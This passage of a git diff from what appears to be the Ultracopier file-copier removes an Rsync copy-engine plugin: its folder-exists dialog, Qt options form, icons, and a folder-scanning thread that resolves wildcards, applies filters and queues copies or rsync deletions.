- }
-}
-
-QString folderExistsDialog::getNewName()
-{
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- return "";
- else
- return ui->lineEditNewName->text();
-}
-
-void folderExistsDialog::on_SuggestNewName_clicked()
-{
- QFileInfo destinationInfo=this->destinationInfo;
- QString absolutePath=destinationInfo.absolutePath();
- QString fileName=destinationInfo.fileName();
- QString suffix="";
- QString destination;
- QString newFileName;
- //resolv the suffix
- if(fileName.contains(QRegExp("^(.*)(\\.[a-z0-9]+)$")))
- {
- suffix=fileName;
- suffix.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\2");
- fileName.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\1");
- }
- //resolv the new name
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- newFileName=tr("%1 - copy").arg(fileName);
- else
- {
- newFileName=firstRenamingRule;
- newFileName.replace("%name%",fileName);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
- else
- {
- newFileName=otherRenamingRule;
- newFileName.replace("%name%",fileName);
- newFileName.replace("%number%",QString::number(num));
- }
- }
- destination=absolutePath+QDir::separator()+newFileName+suffix;
- destinationInfo.setFile(destination);
- num++;
- }
- while(destinationInfo.exists());
- ui->lineEditNewName->setText(newFileName+suffix);
-}
-
-void folderExistsDialog::on_Rename_clicked()
-{
- action=FolderExists_Rename;
- this->close();
-}
-
-void folderExistsDialog::on_Skip_clicked()
-{
- action=FolderExists_Skip;
- this->close();
-}
-
-void folderExistsDialog::on_Cancel_clicked()
-{
- action=FolderExists_Cancel;
- this->close();
-}
-
-FolderExistsAction folderExistsDialog::getAction()
-{
- return action;
-}
-
-bool folderExistsDialog::getAlways()
-{
- return ui->checkBoxAlways->isChecked();
-}
-
-void folderExistsDialog::on_Merge_clicked()
-{
- action=FolderExists_Merge;
- this->close();
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/folderExistsDialog.h b/plugins-alternative/CopyEngine/Rsync/folderExistsDialog.h
deleted file mode 100644
index 6d612f1..0000000
--- a/plugins-alternative/CopyEngine/Rsync/folderExistsDialog.h
+++ /dev/null
@@ -1,54 +0,0 @@
-/** \file folderExistsDialog.h
-\brief Define the dialog when file exists
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#ifndef FOLDERISSAMEDIALOG_H
-#define FOLDERISSAMEDIALOG_H
-
-#include <QDialog>
-#include <QFileInfo>
-#include <QString>
-#include <QDateTime>
-#include <QDir>
-
-#include "Environment.h"
-
-namespace Ui {
- class folderExistsDialog;
-}
-
-/// \brief to show file exists dialog, and ask what do
-class folderExistsDialog : public QDialog
-{
- Q_OBJECT
-
-public:
- /// \brief create the object and pass all the informations to it
- explicit folderExistsDialog(QWidget *parent,QFileInfo source,bool isSame,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule);
- ~folderExistsDialog();
- /// \brief return the the always checkbox is checked
- bool getAlways();
- /// \brief return the action clicked
- FolderExistsAction getAction();
- /// \brief return the new rename is case in manual renaming
- QString getNewName();
-protected:
- void changeEvent(QEvent *e);
-private slots:
- void on_SuggestNewName_clicked();
- void on_Rename_clicked();
- void on_Skip_clicked();
- void on_Cancel_clicked();
- void on_Merge_clicked();
-private:
- Ui::folderExistsDialog *ui;
- FolderExistsAction action;
- QString oldName;
- QString firstRenamingRule;
- QString otherRenamingRule;
- QFileInfo destinationInfo;
-};
-
-#endif // FOLDERISSAMEDIALOG_H
diff --git a/plugins-alternative/CopyEngine/Rsync/options.ui b/plugins-alternative/CopyEngine/Rsync/options.ui
deleted file mode 100644
index 78ac0b2..0000000
--- a/plugins-alternative/CopyEngine/Rsync/options.ui
+++ /dev/null
@@ -1,328 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>options</class>
- <widget class="QWidget" name="options">
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>354</width>
- <height>399</height>
- </rect>
- </property>
- <layout class="QGridLayout" name="gridLayout">
- <property name="margin">
- <number>2</number>
- </property>
- <property name="spacing">
- <number>2</number>
- </property>
- <item row="0" column="0">
- <widget class="QLabel" name="label">
- <property name="text">
- <string>Transfer the file rights</string>
- </property>
- </widget>
- </item>
- <item row="0" column="2">
- <widget class="QCheckBox" name="doRightTransfer"/>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_2">
- <property name="text">
- <string>Keep the file date</string>
- </property>
- </widget>
- </item>
- <item row="1" column="2">
- <widget class="QCheckBox" name="keepDate"/>
- </item>
- <item row="2" column="2">
- <widget class="QSpinBox" name="blockSize">
- <property name="suffix">
- <string>KB</string>
- </property>
- <property name="minimum">
- <number>1</number>
- </property>
- <property name="maximum">
- <number>64000</number>
- </property>
- </widget>
- </item>
- <item row="3" column="0" colspan="2">
- <widget class="QLabel" name="label_5">
- <property name="text">
- <string>Auto start the transfer</string>
- </property>
- </widget>
- </item>
- <item row="3" column="2">
- <widget class="QCheckBox" name="autoStart"/>
- </item>
- <item row="4" column="0">
- <widget class="QLabel" name="label_6">
- <property name="text">
- <string>When folder error</string>
- </property>
- </widget>
- </item>
- <item row="4" column="2">
- <widget class="QComboBox" name="comboBoxFolderError">
- <item>
- <property name="text">
- <string>Ask</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Skip</string>
- </property>
- </item>
- </widget>
- </item>
- <item row="5" column="0">
- <widget class="QLabel" name="label_7">
- <property name="text">
- <string>When folder collision</string>
- </property>
- </widget>
- </item>
- <item row="5" column="2">
- <widget class="QComboBox" name="comboBoxFolderColision">
- <item>
- <property name="text">
- <string>Ask</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Merge</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Skip</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Rename</string>
- </property>
- </item>
- </widget>
- </item>
- <item row="6" column="0" colspan="2">
- <widget class="QLabel" name="label_8">
- <property name="text">
- <string>Check if destination folder exists</string>
- </property>
- </widget>
- </item>
- <item row="6" column="2">
- <widget class="QCheckBox" name="checkBoxDestinationFolderExists"/>
- </item>
- <item row="8" column="0" colspan="3">
- <widget class="QGroupBox" name="groupBox">
- <property name="title">
- <string>Checksum</string>
- </property>
- <layout class="QGridLayout" name="gridLayout_2">
- <item row="1" column="1">
- <widget class="QCheckBox" name="checksumOnlyOnError">
- <property name="enabled">
- <bool>false</bool>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_9">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Only after error</string>
- </property>
- </widget>
- </item>
- <item row="2" column="0">
- <widget class="QLabel" name="label_10">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Ignore if impossible</string>
- </property>
- </widget>
- </item>
- <item row="2" column="1">
- <widget class="QCheckBox" name="checksumIgnoreIfImpossible">
- <property name="enabled">
- <bool>false</bool>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QCheckBox" name="doChecksum"/>
- </item>
- <item row="0" column="0">
- <widget class="QLabel" name="label_11">
- <property name="text">
- <string>Do checksum</string>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- <item row="9" column="1">
- <widget class="QLabel" name="label_3">
- <property name="text">
- <string>Enable OS buffer</string>
- </property>
- </widget>
- </item>
- <item row="9" column="2">
- <widget class="QCheckBox" name="osBuffer"/>
- </item>
- <item row="10" column="0" colspan="2">
- <widget class="QCheckBox" name="osBufferLimited">
- <property name="text">
- <string>OS buffer only if smaller than</string>
- </property>
- </widget>
- </item>
- <item row="10" column="2">
- <widget class="QSpinBox" name="osBufferLimit">
- <property name="suffix">
- <string>KB</string>
- </property>
- <property name="minimum">
- <number>1</number>
- </property>
- <property name="maximum">
- <number>2048</number>
- </property>
- <property name="value">
- <number>512</number>
- </property>
- </widget>
- </item>
- <item row="2" column="0">
- <widget class="QLabel" name="label_4">
- <property name="text">
- <string>Block size</string>
- </property>
- </widget>
- </item>
- <item row="13" column="1">
- <spacer name="verticalSpacer">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>20</width>
- <height>40</height>
- </size>
- </property>
- </spacer>
- </item>
- <item row="12" column="1">
- <widget class="QPushButton" name="filters">
- <property name="text">
- <string>Filters</string>
- </property>
- </widget>
- </item>
- <item row="11" column="1">
- <widget class="QPushButton" name="renamingRules">
- <property name="text">
- <string>Renaming rules</string>
- </property>
- </widget>
- </item>
- <item row="7" column="2">
- <widget class="QCheckBox" name="rsync">
- <property name="text">
- <string/>
- </property>
- </widget>
- </item>
- <item row="7" column="0" colspan="2">
- <widget class="QLabel" name="label_rsync">
- <property name="text">
- <string>Rsync (only in copy mode)</string>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- <resources/>
- <connections>
- <connection>
- <sender>doChecksum</sender>
- <signal>clicked(bool)</signal>
- <receiver>label_9</receiver>
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>187</x>
- <y>212</y>
- </hint>
- <hint type="destinationlabel">
- <x>100</x>
- <y>223</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>doChecksum</sender>
- <signal>clicked(bool)</signal>
- <receiver>checksumOnlyOnError</receiver>
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>198</x>
- <y>212</y>
- </hint>
- <hint type="destinationlabel">
- <x>190</x>
- <y>226</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>doChecksum</sender>
- <signal>clicked(bool)</signal>
- <receiver>label_10</receiver>
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>245</x>
- <y>210</y>
- </hint>
- <hint type="destinationlabel">
- <x>123</x>
- <y>251</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>doChecksum</sender>
- <signal>clicked(bool)</signal>
- <receiver>checksumIgnoreIfImpossible</receiver>
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>269</x>
- <y>209</y>
- </hint>
- <hint type="destinationlabel">
- <x>213</x>
- <y>247</y>
- </hint>
- </hints>
- </connection>
- </connections>
-</ui>
diff --git a/plugins-alternative/CopyEngine/Rsync/resources/add.png b/plugins-alternative/CopyEngine/Rsync/resources/add.png
deleted file mode 100644
index 1e03be9..0000000
--- a/plugins-alternative/CopyEngine/Rsync/resources/add.png
+++ /dev/null
Binary files differ
diff --git a/plugins-alternative/CopyEngine/Rsync/resources/edit.png b/plugins-alternative/CopyEngine/Rsync/resources/edit.png
deleted file mode 100644
index 8072aea..0000000
--- a/plugins-alternative/CopyEngine/Rsync/resources/edit.png
+++ /dev/null
Binary files differ
diff --git a/plugins-alternative/CopyEngine/Rsync/resources/filter.png b/plugins-alternative/CopyEngine/Rsync/resources/filter.png
deleted file mode 100644
index 9cabc5a..0000000
--- a/plugins-alternative/CopyEngine/Rsync/resources/filter.png
+++ /dev/null
Binary files differ
diff --git a/plugins-alternative/CopyEngine/Rsync/resources/remove.png b/plugins-alternative/CopyEngine/Rsync/resources/remove.png
deleted file mode 100644
index 5b4c488..0000000
--- a/plugins-alternative/CopyEngine/Rsync/resources/remove.png
+++ /dev/null
Binary files differ
diff --git a/plugins-alternative/CopyEngine/Rsync/scanFileOrFolder.cpp b/plugins-alternative/CopyEngine/Rsync/scanFileOrFolder.cpp
deleted file mode 100644
index 197b8c7..0000000
--- a/plugins-alternative/CopyEngine/Rsync/scanFileOrFolder.cpp
+++ /dev/null
@@ -1,511 +0,0 @@
-#include "scanFileOrFolder.h"
-
-#include <QDateTime>
-
-scanFileOrFolder::scanFileOrFolder(CopyMode mode)
-{
- rsync=false;
- stopped = true;
- stopIt = false;
- this->mode=mode;
- setObjectName("ScanFileOrFolder");
- folder_isolation=QRegExp("^(.*/)?([^/]+)/$");
-}
-
-scanFileOrFolder::~scanFileOrFolder()
-{
- stop();
- quit();
- wait();
-}
-
-bool scanFileOrFolder::isFinished()
-{
- return stopped;
-}
-
-void scanFileOrFolder::addToList(const QStringList& sources,const QString& destination)
-{
- stopIt=false;
- this->sources=parseWildcardSources(sources);
- this->destination=destination;
- if(sources.size()>1 || QFileInfo(destination).isDir())
- /* Disabled because the separator transformation product bug
- * if(!destination.endsWith(QDir::separator()))
- this->destination+=QDir::separator();*/
- if(!destination.endsWith("/") && !destination.endsWith("\\"))
- this->destination+="/";//put unix separator because it's transformed into that's under windows too
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"addToList("+sources.join(";")+","+destination+")");
-}
-
-
-QStringList scanFileOrFolder::parseWildcardSources(const QStringList &sources)
-{
- QRegExp splitFolder("[/\\\\]");
- QStringList returnList;
- int index=0;
- while(index<sources.size())
- {
- if(sources.at(index).contains("*"))
- {
- QStringList toParse=sources.at(index).split(splitFolder);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("before wildcard parse: %1, toParse: %2, is valid: %3").arg(sources.at(index)).arg(toParse.join(", ")).arg(splitFolder.isValid()));
- QList<QStringList> recomposedSource;
- recomposedSource << (QStringList() << "");
- while(toParse.size()>0)
- {
- if(toParse.first().contains('*'))
- {
- QString toParseFirst=toParse.first();
- if(toParseFirst=="")
- toParseFirst+="/";
- QList<QStringList> newRecomposedSource;
- QRegExp toResolv=QRegExp(toParseFirst.replace('*',"[^/\\\\]*"));
- int index_recomposedSource=0;
- while(index_recomposedSource<recomposedSource.size())//parse each url part
- {
- QFileInfo info(recomposedSource.at(index_recomposedSource).join("/"));
- if(info.isDir())
- {
- QDir folder(info.absoluteFilePath());
- QFileInfoList fileFile=folder.entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System);//QStringList() << toResolv
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("list the folder: %1, with the wildcard: %2").arg(info.absoluteFilePath()).arg(toResolv.pattern()));
- int index_fileList=0;
- while(index_fileList<fileFile.size())
- {
- if(fileFile.at(index_fileList).fileName().contains(toResolv))
- {
- QStringList tempList=recomposedSource.at(index_recomposedSource);
- tempList << fileFile.at(index_fileList).fileName();
- newRecomposedSource << tempList;
- }
- index_fileList++;
- }
- }
- index_recomposedSource++;
- }
- recomposedSource=newRecomposedSource;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("add toParse: %1").arg(toParse.join("/")));
- int index_recomposedSource=0;
- while(index_recomposedSource<recomposedSource.size())
- {
- recomposedSource[index_recomposedSource] << toParse.first();
- if(!QFileInfo(recomposedSource.at(index_recomposedSource).join("/")).exists())
- recomposedSource.removeAt(index_recomposedSource);
- else
- index_recomposedSource++;
- }
- }
- toParse.removeFirst();
- }
- int index_recomposedSource=0;
- while(index_recomposedSource<recomposedSource.size())
- {
- returnList<<recomposedSource.at(index_recomposedSource).join("/");
- index_recomposedSource++;
- }
- }
- else
- returnList << sources.at(index);
- index++;
- }
- return returnList;
-}
-
-void scanFileOrFolder::setFilters(QList<Filters_rules> include,QList<Filters_rules> exclude)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QMutexLocker lock(&filtersMutex);
- this->include_send=include;
- this->exclude_send=exclude;
- reloadTheNewFilters=true;
- haveFilters=include_send.size()>0 || exclude_send.size()>0;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("haveFilters: %1, include_send.size(): %2, exclude_send.size(): %3").arg(haveFilters).arg(include_send.size()).arg(exclude_send.size()));
-}
-
-//set action if Folder are same or exists
-void scanFileOrFolder::setFolderExistsAction(FolderExistsAction action,QString newName)
-{
- this->newName=newName;
- folderExistsAction=action;
- waitOneAction.release();
-}
-
-//set action if error
-void scanFileOrFolder::setFolderErrorAction(FileErrorAction action)
-{
- fileErrorAction=action;
- waitOneAction.release();
-}
-
-void scanFileOrFolder::stop()
-{
- stopIt=true;
- waitOneAction.release();
-}
-
-void scanFileOrFolder::run()
-{
- stopped=false;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start the listing with destination: "+destination+", mode: "+QString::number(mode));
- QDir destinationFolder(destination);
- int sourceIndex=0;
- while(sourceIndex<sources.size())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"size source to list: "+QString::number(sourceIndex)+"/"+QString::number(sources.size()));
- if(stopIt)
- {
- stopped=true;
- return;
- }
- QFileInfo source=sources.at(sourceIndex);
- if(source.isDir())
- {
- /* Bad way; when you copy c:\source\folder into d:\destination, you wait it create the folder d:\destination\folder
- //listFolder(source.absoluteFilePath()+QDir::separator(),destination);
- listFolder(source.absoluteFilePath()+"/",destination);//put unix separator because it's transformed into that's under windows too
- */
- //put unix separator because it's transformed into that's under windows too
- listFolder(source.absolutePath()+"/",destinationFolder.absolutePath()+"/",source.fileName()+"/",source.fileName()+"/");
- }
- else
- emit fileTransfer(source,destination+source.fileName(),mode);
- sourceIndex++;
- }
- stopped=true;
- if(stopIt)
- return;
- emit finishedTheListing();
-}
-
-void scanFileOrFolder::listFolder(const QString& source,const QString& destination,const QString& sourceSuffixPath,QString destinationSuffixPath)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"source: "+source+", destination: "+destination+", sourceSuffixPath: "+sourceSuffixPath+", destinationSuffixPath: "+destinationSuffixPath);
- if(stopIt)
- return;
- QString newSource = source+sourceSuffixPath;
- QString finalDest = destination+destinationSuffixPath;
- //if is same
- if(newSource==finalDest)
- {
- QDir dirSource(newSource);
- emit folderAlreadyExists(dirSource.absolutePath(),finalDest,true);
- waitOneAction.acquire();
- switch(folderExistsAction)
- {
- case FolderExists_Merge:
- break;
- case FolderExists_Skip:
- return;
- break;
- case FolderExists_Rename:
- if(newName=="")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"pattern: "+folder_isolation.pattern());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"full: "+destinationSuffixPath);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"prefix: "+prefix);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"suffix: "+suffix);
- //resolv the new name
- QFileInfo destinationInfo;
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- destinationSuffixPath=tr("%1 - copy").arg(suffix);
- else
- {
- destinationSuffixPath=firstRenamingRule;
- destinationSuffixPath.replace("%name%",suffix);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- destinationSuffixPath=tr("%1 - copy (%2)").arg(suffix).arg(num);
- else
- {
- destinationSuffixPath=otherRenamingRule;
- destinationSuffixPath.replace("%name%",suffix);
- destinationSuffixPath.replace("%number%",QString::number(num));
- }
- }
- num++;
- destinationInfo.setFile(prefix+destinationSuffixPath);
- }
- while(destinationInfo.exists());
- }
- else
- destinationSuffixPath = newName;
- destinationSuffixPath+="/";
- finalDest = destination+destinationSuffixPath;
- break;
- default:
- return;
- break;
- }
- }
- //check if destination exists
- if(checkDestinationExists)
- {
- QDir finalSource(newSource);
- QDir destinationDir(finalDest);
- if(destinationDir.exists())
- {
- emit folderAlreadyExists(finalSource.absolutePath(),destinationDir.absolutePath(),false);
- waitOneAction.acquire();
- switch(folderExistsAction)
- {
- case FolderExists_Merge:
- break;
- case FolderExists_Skip:
- return;
- break;
- case FolderExists_Rename:
- if(newName=="")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"pattern: "+folder_isolation.pattern());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"full: "+destinationSuffixPath);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"prefix: "+prefix);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"suffix: "+suffix);
- //resolv the new name
- QFileInfo destinationInfo;
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- destinationSuffixPath=tr("%1 - copy").arg(suffix);
- else
- {
- destinationSuffixPath=firstRenamingRule;
- destinationSuffixPath.replace("%name%",suffix);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- destinationSuffixPath=tr("%1 - copy (%2)").arg(suffix).arg(num);
- else
- {
- destinationSuffixPath=otherRenamingRule;
- destinationSuffixPath.replace("%name%",suffix);
- destinationSuffixPath.replace("%number%",QString::number(num));
- }
- }
- destinationInfo.setFile(prefix+destinationSuffixPath);
- num++;
- }
- while(destinationInfo.exists());
- }
- else
- destinationSuffixPath = newName;
- destinationSuffixPath+="/";
- finalDest = destination+destinationSuffixPath;
- break;
- default:
- return;
- break;
- }
- }
- }
- //do source check
- QDir finalSource(newSource);
- QFileInfo dirInfo(newSource);
- //check of source is readable
- do
- {
- fileErrorAction=FileError_NotSet;
- if(!dirInfo.isReadable() || !dirInfo.isExecutable() || !dirInfo.exists())
- {
- if(!dirInfo.exists())
- emit errorOnFolder(dirInfo,tr("The folder not exists"));
- else
- emit errorOnFolder(dirInfo,tr("The folder is not readable"));
- waitOneAction.acquire();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"actionNum: "+QString::number(fileErrorAction));
- }
- } while(fileErrorAction==FileError_Retry);
- /// \todo check here if the folder is not readable or not exists
- QFileInfoList entryList=finalSource.entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst|QDir::Name|QDir::IgnoreCase);//possible wait time here
- int sizeEntryList=entryList.size();
- emit newFolderListing(newSource);
- if(sizeEntryList==0)
- emit addToMkPath(finalDest);
- for (int index=0;index<sizeEntryList;++index)
- {
- QFileInfo fileInfo=entryList.at(index);
- if(stopIt)
- return;
- if(haveFilters)
- {
- if(reloadTheNewFilters)
- {
- QMutexLocker lock(&filtersMutex);
- QCoreApplication::processEvents(QEventLoop::AllEvents);
- reloadTheNewFilters=false;
- this->include=this->include_send;
- this->exclude=this->exclude_send;
- }
- QString fileName=fileInfo.fileName();
- if(fileInfo.isDir())
- {
- bool excluded=false,included=(include.size()==0);
- int filters_index=0;
- while(filters_index<exclude.size())
- {
- if(exclude.at(filters_index).apply_on==ApplyOn_folder || exclude.at(filters_index).apply_on==ApplyOn_fileAndFolder)
- {
- if(fileName.contains(exclude.at(filters_index).regex))
- {
- excluded=true;
- break;
- }
- }
- filters_index++;
- }
- if(excluded)
- {}
- else
- {
- filters_index=0;
- while(filters_index<include.size())
- {
- if(include.at(filters_index).apply_on==ApplyOn_folder || include.at(filters_index).apply_on==ApplyOn_fileAndFolder)
- {
- if(fileName.contains(include.at(filters_index).regex))
- {
- included=true;
- break;
- }
- }
- filters_index++;
- }
- if(!included)
- {}
- else
- listFolder(source,destination,sourceSuffixPath+fileInfo.fileName()+"/",destinationSuffixPath+fileName+"/");
- }
- }
- else
- {
- bool excluded=false,included=(include.size()==0);
- int filters_index=0;
- while(filters_index<exclude.size())
- {
- if(exclude.at(filters_index).apply_on==ApplyOn_file || exclude.at(filters_index).apply_on==ApplyOn_fileAndFolder)
- {
- if(fileName.contains(exclude.at(filters_index).regex))
- {
- excluded=true;
- break;
- }
- }
- filters_index++;
- }
- if(excluded)
- {}
- else
- {
- filters_index=0;
- while(filters_index<include.size())
- {
- if(include.at(filters_index).apply_on==ApplyOn_file || include.at(filters_index).apply_on==ApplyOn_fileAndFolder)
- {
- if(fileName.contains(include.at(filters_index).regex))
- {
- included=true;
- break;
- }
- }
- filters_index++;
- }
- if(!included)
- {}
- else
- {
- bool sendToTransfer=false;
- if(!rsync)
- sendToTransfer=true;
- else if(!QFile::exists(finalDest+fileName))
- sendToTransfer=true;
- else if(fileInfo.lastModified()!=QFileInfo(finalDest+fileName).lastModified())
- sendToTransfer=true;
- if(sendToTransfer)
- emit fileTransfer(fileInfo.absoluteFilePath(),finalDest+fileName,mode);
- }
- }
- }
- }
- else
- {
- if(fileInfo.isDir())//possible wait time here
- //listFolder(source,destination,suffixPath+fileInfo.fileName()+QDir::separator());
- listFolder(source,destination,sourceSuffixPath+fileInfo.fileName()+"/",destinationSuffixPath+fileInfo.fileName()+"/");//put unix separator because it's transformed into that's under windows too
- else
- {
- bool sendToTransfer=false;
- if(!rsync)
- sendToTransfer=true;
- else if(!QFile::exists(finalDest+fileInfo.fileName()))
- sendToTransfer=true;
- else if(fileInfo.lastModified()!=QFileInfo(finalDest+fileInfo.fileName()).lastModified())
- sendToTransfer=true;
- if(sendToTransfer)
- emit fileTransfer(fileInfo.absoluteFilePath(),finalDest+fileInfo.fileName(),mode);
- }
- }
- }
- if(rsync)
- {
- //check the reverse path here
- QFileInfoList entryListDestination=QDir(finalDest).entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst|QDir::Name|QDir::IgnoreCase);//possible wait time here
- int sizeEntryListDestination=entryListDestination.size();
- int index=0;
- for (int indexDestination=0;indexDestination<sizeEntryListDestination;++indexDestination)
- {
- index=0;
- while(index<sizeEntryList)
- {
- if(entryListDestination.at(indexDestination).fileName()==entryList.at(index).fileName())
- break;
- index++;
- }
- if(index==sizeEntryList)
- {
- //then not found, need be remove
- emit addToRmForRsync(finalDest+entryListDestination.at(indexDestination).fileName());
- }
- }
- return;
- }
-
- if(mode==Move)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"newSource: "+newSource+", sizeEntryList: "+QString::number(sizeEntryList));
- emit addToRmPath(newSource,sizeEntryList);
- }
-}
-
-//set if need check if the destination exists
-void scanFileOrFolder::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
-{
- this->checkDestinationExists=checkDestinationFolderExists;
-}
-
-void scanFileOrFolder::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
-
-/// \brief set rsync
-void scanFileOrFolder::setRsync(const bool rsync)
-{
- this->rsync=rsync;
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/scanFileOrFolder.h b/plugins-alternative/CopyEngine/Rsync/scanFileOrFolder.h
deleted file mode 100644
index 2109df2..0000000
--- a/plugins-alternative/CopyEngine/Rsync/scanFileOrFolder.h
+++ /dev/null
@@ -1,91 +0,0 @@
-/** \file scanFileOrFolder.h
-\brief Thread changed to list recursively the folder
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#include <QThread>
-#include <QStringList>
-#include <QString>
-#include <QList>
-#include <QFileInfo>
-#include <QDir>
-#include <QSemaphore>
-#include <QEventLoop>
-#include <QCoreApplication>
-#include <QMutexLocker>
-
-#include "Environment.h"
-
-#ifndef SCANFILEORFOLDER_H
-#define SCANFILEORFOLDER_H
-
-/// \brief Thread changed to list recursively the folder
-class scanFileOrFolder : public QThread
-{
- Q_OBJECT
-public:
- explicit scanFileOrFolder(CopyMode mode);
- ~scanFileOrFolder();
- /// \brief to the a folder listing
- void stop();
- /// \brief to get if is finished
- bool isFinished();
- /// \brief set action if Folder are same or exists
- void setFolderExistsAction(FolderExistsAction action,QString newName="");
- /// \brief set action if error
- void setFolderErrorAction(FileErrorAction action);
- /// \brief set if need check if the destination exists
- void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
- /// \brief set rsync
- void setRsync(const bool rsync);
-signals:
- void fileTransfer(const QFileInfo &source,const QFileInfo &destination,const CopyMode &mode);
- /// \brief To debug source
- void debugInformation(const DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
- void folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame);
- void errorOnFolder(const QFileInfo &fileInfo,const QString &errorString);
- void finishedTheListing();
-
- void newFolderListing(const QString &path);
- void addToMkPath(const QString& folder);
- void addToRmPath(const QString& folder,const int& inodeToRemove);
- void addToRmForRsync(const QString& inode);
-public slots:
- void addToList(const QStringList& sources,const QString& destination);
- void setFilters(QList<Filters_rules> include,QList<Filters_rules> exclude);
-protected:
- void run();
-private:
- QStringList sources;
- QString destination;
- volatile bool stopIt;
- void listFolder(const QString& source,const QString& destination,const QString& sourceSuffixPath,QString destinationSuffixPath);
- volatile bool stopped;
- QSemaphore waitOneAction;
- FolderExistsAction folderExistsAction;
- FileErrorAction fileErrorAction;
- volatile bool checkDestinationExists;
- QString newName;
- QRegExp folder_isolation;
- QString prefix;
- QString suffix;
- CopyMode mode;
- bool rsync;
- QList<Filters_rules> include,exclude;
- QList<Filters_rules> include_send,exclude_send;
- bool reloadTheNewFilters;
- bool haveFilters;
- QMutex filtersMutex;
- QString firstRenamingRule;
- QString otherRenamingRule;
- /** Parse the multiple wildcard source, it allow resolv multiple wildcard with Qt into their path
- * The string: /toto/f*a/yy*a/toto.mp3
- * Will give: /toto/f1a/yy*a/toto.mp3, /toto/f2a/yy*a/toto.mp3
- * Will give: /toto/f2a/yy1a/toto.mp3, /toto/f2a/yy2a/toto.mp3
- */
- QStringList parseWildcardSources(const QStringList &sources);
-};
-
-#endif // SCANFILEORFOLDER_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/DebugEngineMacro.h b/plugins-alternative/PluginLoader/keybinding/DebugEngineMacro.h
index ad08d4f..f9b5349 100644
--- a/plugins/CopyEngine/Ultracopier-0.3/DebugEngineMacro.h
+++ b/plugins-alternative/PluginLoader/keybinding/DebugEngineMacro.h
@@ -1,12 +1,15 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
